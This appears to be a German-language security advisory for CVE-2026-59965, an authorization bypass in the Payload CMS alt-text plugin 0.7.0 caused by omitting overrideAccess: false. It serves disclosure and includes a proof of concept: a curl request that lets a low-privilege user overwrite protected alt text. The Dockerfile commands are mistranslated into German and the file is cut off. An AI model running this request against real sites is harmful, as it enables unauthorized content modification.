CVE-2026-59965

@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission

high

Beschreibung

Alt Text Endpoint Authorization Bypass via Payload Local API overrideAccess Omission

Zusammenfassung

Die Version 0.7.0 von @jhb.software/payload-alt-text-plugin stellt benutzerdefinierte Endpunkte des Payload CMS (POST /api/alt-text-plugin/generate und /bulk) bereit, die die Payload Local API (findByID und update) aufrufen, ohne overrideAccess: false festzulegen. Da Payloads interne Logik shouldOverrideAccess = overrideAccess !== false bewertet, führt das Fehlen des Parameters dazu, dass es standardmäßig auf true gesetzt wird, wodurch alle Sammlungsebenen-Zugriffskontrollfunktionen stillschweigend umgangen werden. Jeder authentifizierte Benutzer – unabhängig von seiner Rolle – kann die Felder alt und keywords beliebiger Upload-Dokumente lesen und überschreiben, die ansonsten durch restriktive Sammlungszugriffsregeln geschützt wären. Die Schwachstelle wird als Hoch (CVSS 7.1) eingestuft.

Details

Das Plugin registriert zwei Netzwerkendpunkte in alt-text/src/plugin.ts:179-186. Ihre Standardzugriffsguard (plugin.ts:55) prüft nur !!req.user, was bedeutet, dass jede authentifizierte Sitzung die Prüfung erfüllt, unabhängig von der Rolle, die für die zugrunde liegende Sammlung erforderlich ist.

Der Endpunkt-Handler in alt-text/src/endpoints/generateAltText.ts akzeptiert benutzerdefinierte id, collection, locale und update Felder aus dem Anfragekörper (Zeile 29) und leitet sie direkt an zwei ungesicherte Local API-Aufrufe weiter:

Lesenumgehung (generateAltText.ts:31):

const imageDoc = await req.payload.findByID({
  id,
  collection,
  depth: 0,
  // overrideAccess: false ist abwesend → standardmäßig auf true gesetzt
})

Schreibumgehung (generateAltText.ts:121):

await req.payload.update({
  id,
  collection,
  data: {
    alt: result.result.altText,
    keywords: result.result.keywords,
  },
  locale: targetLocale,
  // overrideAccess: false ist abwesend → standardmäßig auf true gesetzt
})

Der Bulk-Endpunkt (alt-text/src/endpoints/bulkGenerateAltTexts.ts) wiederholt das gleiche Muster in den Zeilen 120 (lesen) und 170 (schreiben).

Payloads interne Auflösung von overrideAccess ist:

shouldOverrideAccess = overrideAccess !== false
// undefined !== false → true → Sammlungszugriffsfunktion wird nie aufgerufen

Da die Sammlungsebenen-read und update Zugriffsfunktionen nie aufgerufen werden, kann jeder Angreifer mit einer gültigen Sitzung Dokumente in beliebigen Upload-Sammlungen anvisieren, unabhängig davon, wie der Zugriff auf diese Sammlung konfiguriert ist.

PoC

Umgebungseinrichtung:

  1. Klonen Sie das Repository und installieren Sie @jhb.software/payload-alt-text-plugin@0.7.0 in ein Payload v3-Projekt.
  2. Konfigurieren Sie eine Upload-Sammlung namens media mit read und update Zugriff, der auf Benutzer mit role: "admin" beschränkt ist.
  3. Konfigurieren Sie das Plugin mit collections: ["media"] und einem Resolver, der { success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } } zurückgibt.
  4. Als Admin erstellen Sie ein Mediendokument (z.B. ID doc-001) mit alt = "original safe alt text".
  5. Erhalten Sie ein Sitzungstoken für einen nicht-admin Benutzer (role: "user").

Dynamisches PoC bauen und ausführen (Docker):

# Bauen
docker build -t vuln001-poc -f vuln-001/Dockerfile .

# Ausführen
docker run --rm vuln001-poc

Ausnutzungsanfrage:

curl -i -b "payload-token=<LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST http://localhost:3000/api/alt-text-plugin/generate \
  --data '{"collection":"media","id":"doc-001","locale":"en","update":true}'

Erwartetes Ergebnis:

  • HTTP 200 wird zurückgegeben.
  • Die Antwort enthält "altText": "PWNED_BY_EXPLOIT".
  • Ein nachfolgender Admin-Lesevorgang von media/doc-001 bestätigt alt = "PWNED_BY_EXPLOIT" und keywords = ["hacked", "bypass"], obwohl der Update-Zugriff auf die Sammlung auf Admins beschränkt ist.

Kontrollüberprüfung (bestätigt, dass die Umgehung real ist und nicht eine Fehlkonfiguration):

Ein direkter Local API-Aufruf mit overrideAccess: false durch denselben nicht-admin Benutzer wirft einen AccessError: update denied for collection "media" (user role: user), was beweist, dass die Zugriffsregel korrekt ist und das Plugin-Endpunkt der Vektor ist.

Dynamische Reproduktionsergebnis (Phase 2 bestätigt):

VULN-001: Alt Text Endpunkt Autorisierungsumgehung
  Payload Local API overrideAccess Auslassung in
  generateAltText.ts:31 und :121

[Schritt 1] Kontrolle: nicht-admin direktes Update mit overrideAccess:false
  PASS: Zugriff korrekt verweigert → AccessError

[Schritt 3] AUSNUTZUNG: nicht-admin ruft POST /api/alt-text-plugin/generate auf
  HTTP-Status : 200
  Antwort      : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}

SCHWACHSTELLE BESTÄTIGT — AUSNUTZUNG ERFOLGREICH

Auswirkungen

Dies ist eine Fehlautorisation Schwachstelle (CWE-863). Die Plugin-Endpunkte dienen als Autorisierungsumgehungs-Tunnel in Payloads Local API. Jeder authentifizierte Benutzer – ein Abonnent, Redakteur oder jede niedrige Privilegienrolle – kann:

  1. Lesen des Inhalts beliebiger Upload-Dokumente, die Sammlungszugriffsregeln andernfalls verweigert hätten.
  2. Überschreiben der alt Text- und keywords Felder auf diesen Dokumenten, was effektiv eine nicht autorisierte Inhaltsmodifikation darstellt.

Betreiber, die den Zugriff auf Upload-Sammlungen nach Rolle einschränken (ein häufiges Produktionsmuster), sind vollständig betroffen. Angreifer benötigen keine Admin-Anmeldeinformationen; jede gültige Sitzung reicht aus. Die Schwachstelle ist in allen Standardbereitstellungen ausnutzbar, bei denen das Plugin aktiviert ist, ohne dass eine besondere Konfiguration auf der Angreifenseite erforderlich ist.

Reproduktionsartefakte

Dockerfile

# Dockerfile für VULN-001 dynamische Reproduktion
#
# Build-Kontext: das übergeordnete Verzeichnis, das sowohl
#   repo/          (jhb-software/payload-plugins Klon)
#   vuln-001/      (dieser Arbeitsbereich)
# enthält.
#
# Bauen:  docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Ausführen:    docker run --rm vuln001-poc

VON node:22-slim

ARBEITSVERZEICHNIS /app

# ---- Plugin-Quelldateien für das PoC kopieren ----
# Nur der Endpunkt, der getestet wird, und seine direkten Abhängigkeiten sind erforderlich.
# Keine Payload-Framework-Installation erforderlich: wir es im PoC nachbilden.

KOPIERE repo/alt-text/src/endpoints/generateAltText.ts  ./plugin/src/endpoints/generateAltText.ts
KOPIERE repo/alt-text/src/endpoints/schemas
Quelle: GHSA

Metriken

Severity
high
kein öffentlicher PoC bekannt
EPSS-Perzentil
EPSS-Score
Veröffentlicht
2026-09-10 22:39 UTC
CWE-863

Weakness-Klassen (CWE)

  • CWE-863Class

    Incorrect Authorization

    The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

    cwe.mitre.org →

Betroffene Produkte

Aus der Hersteller-/CERT-Meldung extrahierte Produkte und Versionsbereiche. Ein Version-Range wie „<4.14.6“ impliziert die Update-Empfehlung „auf 4.14.6 oder höher aktualisieren“.

  • npm

    @jhb.software/payload-alt-text-plugin<= 0.7.0

IDCVE-2026-59965